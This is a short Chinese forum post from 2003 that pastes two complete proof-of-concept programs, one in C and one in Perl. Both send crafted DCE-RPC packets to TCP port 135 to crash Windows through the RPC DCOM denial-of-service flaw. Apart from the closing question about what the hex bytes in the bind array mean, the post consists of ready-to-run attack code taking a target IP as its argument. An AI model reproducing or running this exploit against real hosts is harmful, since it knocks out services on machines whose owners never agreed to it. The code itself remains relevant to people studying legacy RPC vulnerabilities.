一段病毒代码,是RPC的大家分析一下

mcg 2003-08-31 01:25:22

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

void main(int argc,char ** argv)
{
WSADATA WSAData;
int i;
SOCKET sock;
SOCKADDR_IN addr_in;

short port=135;
unsigned char buf1[0x1000];
printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
printf("Welcome to http://www.xfocus.net\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}

i=recv(sock,buf1,1024,MSG_PEEK);
if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
i=recv(sock,buf1,1024,MSG_PEEK);
}

#!/usr/bin/perl -w
# By SecurITeam's Experts
my $bindstr = "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

my $request = "\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00";

use Socket;
$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

$IP = $ARGV[0];
$target = inet_aton($IP);
$paddr = sockaddr_in(135, $target);

connect(S, $paddr) || die "connect: $!";

select(S); $|=1;

print $bindstr;

sleep(2);

print $request;
sleep(2);

select(STDOUT);
close(S);
请问上边的数组中unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};里面的0X00等是什么东西呀

...全文